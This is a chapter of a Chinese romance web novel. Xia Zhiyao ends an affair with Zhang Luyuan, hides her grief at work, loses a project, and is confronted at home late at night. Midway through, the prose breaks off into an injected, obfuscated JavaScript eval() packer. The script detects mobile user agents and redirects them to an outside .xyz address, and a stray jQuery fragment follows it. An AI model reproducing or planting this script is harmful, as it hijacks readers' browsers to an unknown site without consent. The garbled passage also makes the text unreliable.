Chapter6
第二天上午，夏知遥照常出现在办公室，精致得体的妆容，头发利落地盘起，一身灰色西装裙裁剪得恰到好处，整个人看起来，毫无破绽，没人知道她昨晚失眠到天亮。
中午刚过，夏知遥刚处理完早上的会议，微信跳出一条消息：【知遥，有空见一面吗？就附近，你常去的那家。】
她盯着这几个字看了几秒，没回，只是关上电脑，拿起包，径直出了办公室。
餐厅在她公司楼下，是一家装潢清雅的意式小馆，落地窗外是街道上来来往往的行人，春天的风拂过，花开正盛。
街角的樱花已经绽开，粉白一片，簇簇扬扬地摇曳在枝头。人行道边的小灌木上也抽出新叶，几株蔷薇缠着围栏悄悄爬高，阳光从缝隙里透下来，把街道染得温暖又明亮。
那是一个万物新生的季节，连空气里都带着草木初绽的甜味，可她的心，却像站在春日风景之外。
她提前到了，章路远随后出现，西装还带着会场的折痕，手上戴表，眉眼间是一贯的风度。
“你来了。”他坐下，看着她，语气低低的，像想先用温柔压住什么。
夏知遥抬眼扫他一眼，没说话，低头继续切着面前的牛排，动作优雅克制。
章路远试探着开口：“我昨天……临时有点事。”
她轻轻笑了下，声音不大，话却像水面泛开的细涟漪：“不说也没关系，我其实……已经猜得很准。”
章路远怔了怔，刚想接话，她却抬手擦了擦嘴角，语气温柔得像在闲聊：“你找我，我也正好想跟你说件事。”
她拿起汤勺，喝了一口汤，味道偏淡，但她还是吃得很认真，仿佛这顿饭对她来说意义非凡。
“我在想，我们之间，可能差不多该结束了。”话说得平静，又清晰。
章路远的表情僵了几秒，终于低声问：“你是生气了？最近……我确实有点分身乏术。”
夏知遥看着他，语气平静，眼神却像一面再也照不出温情的镜子：“我什么时候让你觉得我会生气了？”
他一怔，还想说什么，她已经低头，舀了一勺汤，轻轻吹了吹。
“我不是生气。”她声音轻得几乎要被窗外春风吹散，“只是有点累了。”
她放下汤勺，手指搭在餐巾上，像是随口补了一句：“这种关系太安静了，安静得让我连失望……都没有声音了。”
章路远下意识想握住什么，却不知道要抓的是什么。
她笑了笑，语气一如既往地温和：“你放心，我不会闹，也不会打扰你。我一向都挺……体面的。”说到最后一个词，她顿了顿，像在咬字，又像在送别自己曾经的忍让。
章路远沉了脸，语气低下来：“知遥，我不同意，你是不是太冲动了？”
夏知遥听完，笑了一下，笑意淡得像风吹落一瓣花，没有温度，“分手，不需要你同意，”她语气温柔，却字字清晰，“我只是通知你一声。”
她放下勺子，拿起包站起身，低头理了理袖口，动作利落而冷静，一如她一贯的风格。
“我不想再过那样的生活了。”她的声音很轻，却极稳：“永远在等，永远都等不来。”
她看了他最后一眼，神情平静，语调没有起伏，却像一块沉石轻轻落下水面，击碎所有幻觉。
“已经够了。”说完，她抽出一张纸巾擦了擦嘴角，动作从容，像是完成一顿再平常不过的午饭。
那张纸被她随手丢进垃圾桶，落地的声音极轻，却像结尾的标点，“别再来了。”
她补了一句，语气很淡，“你走你的路吧，我也该走我的。”
她没给他任何开口的余地，转身，步伐稳，背影挺直，连犹豫都没有留给他一秒。
章路远站在原地，手指紧握，却始终没能迈出一步，她那句话，像在风里响起的耳光，不急不缓，却把他打得无处可躲。
他才发现，她走得那样干净，是因为她早就不指望他了。
春光正好，窗外花开成海，她从来都不是没耐心，只是终于明白，那不是爱情，只是她一个人死守着的等待而已。
夏知遥回办公室，电梯里，镜子里的她依旧妆容精致，发丝整齐，连唇色都没有掉太多。她抬手拢了下耳边的头发，指尖还带着刚刚餐厅里冰过的金属刀叉的余温。
没人看出任何异样，她步伐一如既往地稳，高跟鞋落地的声音在走廊上清脆有力，门卡一刷，熟悉的“滴”一声响起，仿佛她从未中断过这个高效的一天。
女洗手间的隔间，她锁上门，坐下那一刻，整个人像被按下了“静音”。
隔间外还有人交谈，洗手、吹干手、讨论下午的会议安排，她低头盯着地砖的纹理看了一会儿，视线一点点模糊。
眼泪慢慢积在眼眶，悄无声息地滚落，她咬着嘴唇，努力不发出声音，眼泪一滴一滴地落下，擦掉，又来。
她没有抽泣，也没有颤抖，只有肩膀极轻地一起一伏，那是克制得太久的身体本能。
她甚至还在想着：十分钟，最多十分钟，她必须回到办公室。
她拿出纸巾，按住眼角，深吸了一口气，把所有水汽逼回去。然后缓缓站起，洗手、补妆、出门。
门一打开，走廊光线明亮刺眼。她的高跟鞋再次踩在地毯上，声音利落，像什么都没发生过。
就像那场隐秘的情绪风暴，从来只属于那个隔间，只有她自己知道，那十分钟，她没有为了章路远哭。她只是，为那个总是在不被选择的位置上等待的自己，默默送了场葬礼。
她回到办公室，路过茶水间时有人打了声招呼，她点点头，神情平静，像刚才只是去补了个妆。
工位上的屏幕还停留在午前的报表页面。她坐下，手指搭上鼠标，还没来得及滑动，手机屏幕悄悄亮了一下。
周越：【知遥姐，我好多了。】
【谢谢你那天照顾我。】
后面还跟了一个笑脸的表情，轻轻松松，像他一贯的模样。
她盯着那条微信看了很久，指尖停在屏幕上，像迟疑，又像克制。
办公室里一片安静，键盘声、电话铃声、打印机的哔哔响，都像和她没什么关系。
她轻轻叹了口气，像是终于松了一点，指腹在输入框慢慢敲下几个字
【好好照顾自己。】
顿了两秒，她又补了一句：
【药品什么的常备着，不方便的话我给你寄点。】
语气温柔，却稳得像一块石头沉在水底，她看着那两行字许久，像在衡量“关心”的分寸到底该在哪里停下，最终点了发送。
五分钟后，他回了。
【我有的，知遥姐。你别操心我了，好好工作。】
他们太像了，一个不肯靠近，一个不敢追上，一个事事为对方留余地，一个永远晚半步开口。
她把手机调成静音，放进抽屉，坐回电脑前，继续工作，指尖落在键盘上，敲得一如既往地快、准、冷静。
下班前一小时，夏知遥被叫去了会议室，文件夹整整齐齐地摆在她面前，会议桌对面坐着战略部副总，神色不悦，话说得不快，却字字清晰：“客户临时换了接洽团队，说对你们上次给出的方案保留意见。现在我们要考虑重组项目组。”
她盯着文件封面上的logo，沉默了三秒，才开口：“是对哪一块不满？”
“你们建议引入的那家外包技术公司。”副总看她一眼，“你在方案里站得很稳，但客户给出的报告显示，他们另有竞对关联背景。”
夏知遥顿了顿，指尖轻敲文件：“我调研时没有这个信息，客户也没在资料里披露。”
“所以这就是问题。”对方语气冷了几分，“你太相信逻辑，但有时候场面不光靠数字讲道理。”
她听完，没有辩解，只是轻轻点了下头：“我明白了。”
从会议室出来，她没回工位，转身去了茶水间，倒了一杯水，手指握着纸杯，掌心沁出微汗。
走廊的灯光刺眼，她低头喝了一口水，这不是她的问题，却必须由她承担。
方案重组，意味着她接下来的两周几乎要推翻所有流程，也可能意味着，她辛苦拉起的整个项目，会在别人的手里被改写，甚至换人。
窗外天色已黑，街道的霓虹在玻璃上映出斑驳光影，车流声、脚步声仿佛隔着一层水雾般遥远，她忽然很想拨一个电话出去，随便找个人，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669915|173106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪怕只是说一句：“我今天很不顺。”
可她没有。她只是仰头，把那口还未咽下的水一饮而尽，喉结微动，凉意直冲胃里，像是在用力压下一句未说出口的委屈。
然后，她转身回了办公室，脚步轻快却带着几分狠劲，像是与什么较着劲，落座后，她十指飞快地敲击键盘。
夜里十点，她一个人还坐在空荡荡的办公室，文档界面在屏幕上不断修改重排，荧光映在她脸上，勾勒出冷静得近乎冷漠的轮廓。
窗外的城市早已沉入夜色，高楼的灯光逐渐稀疏，仿佛这世界只剩她还醒着，还在死守一个根本撑不下去的体面。
她知道，自己不能崩。她的人设是沉着冷静，是永远不会乱了阵脚的高效执行者。但这一天，她失去的远远不止是一个项目，或一段感情，而是她一直以来赖以为生的那个幻觉“我可以掌控一切”。
而现在，她什么都掌控不了。
晚上十一点，夏知遥才回到家，她走进厨房，弯腰取出早上出门时没带上的保温杯。
拧开盖子，杯子里已经凉透，她打开水龙头，水哗哗地流下来，击打着杯壁，溅起一串细碎水珠。她一边洗着杯子，一边用布仔细擦拭杯盖与缝隙，动作机械而安静。
忽然，她停下了，水还在流，她手里还握着那只杯盖，但整个人却像是被定格了一样，站在水槽前，纹丝未动。她低头看着那只杯子，眼神慢慢失了焦，眨也不眨。
她一直都很好，好到每一次饭局都体面、每一场汇报都冷静、每一条微信都斟酌着尺度和礼貌。
可今天她结束了一段永远见不得光的关系，错失了一个原本不敢靠近却又动了心的人，在会议室里眼睁睁看着自己的方案被轻巧地替换、抽走。
她连解释都来不及，更别说抱怨。
水从她手指间滑落，“啪”的一声砸进不锈钢池底，激起一阵轻微的水花。她终于回神，关掉水龙头，用毛巾将杯子擦干，又像什么都没发生一样将它放回了架子上。
随后，她走进客厅，开了电视，画面一亮，她坐在沙发上，双腿并拢，背脊挺得笔直，手里抱着一个浅灰色的靠垫，安安静静地看着屏幕上跳跃的光影。
电视在播新闻，或是某部她根本没注意片名的剧集，半小时过去，电视声仍在响，她却始终没有动过一下。
窗外有风吹过树枝的声音，远处偶尔传来车鸣。可她仿佛隔绝了一切，在这个温暖的客厅里，沉默得就像一团被冷空气包裹住的影子，失去了温度，也失去了方向。
洗完澡后，夏知遥披着浴袍从浴室走出来，头发还在滴水，水珠顺着脖颈滑进衣领，凉意一寸寸浸进皮肤。
她走到床边，随手拿起毛巾擦头发，另一只手解锁手机，习惯性地扫一眼消息，确认没有会议提醒，也没有未接来电。安静得近乎不真实。
正准备关灯入睡，玄关忽然传来一阵细微的“滴滴”声，是门锁解开的声音。
夏知遥整个人倏地僵住，几乎是本能地，她转头看向门口，下一秒，门被轻轻推开，章路远站在那里。
他没有说话，只带着夜色和身上的风，一步步走了进来，西装没脱，外套被夜雨打湿，领口微敞，眼神里裹着浓重的疲惫和一种毫不掩饰的失控。
“你怎么……”她声音哑了一瞬，眉头微蹙，“你怎么还记得密码？”
“我从来都没忘。”他声音低哑，语气却出奇平静，“只是之前，不敢用。”
夏知遥没有出声，只站在卧室门边，湿发贴在肩上，身上是浴后微热的体温，而他站在风口，冷意裹身，却突然上前一步，伸手将她紧紧抱住。
“知遥，别走。”他喃喃地，在她耳边低声，声音几乎要碎，“求你别离开我……我真的，只有你了。”
章路远抱得很紧，像是怕她再像白天那样转身离开，一句话也不留。他的力道几乎将她整个人锁进怀里，指尖发颤，像是濒临溃堤的绝望。
她身体一瞬间绷紧，，整个人被迫嵌进他怀里，感受到他指尖微微颤抖，像是在抓紧最后一点可以依靠的东西。
灯光下，她眼神沉静无波，没有哭，也没有推开，仿佛所有情绪都凝结在胸口，只剩一声心跳，悄无声息。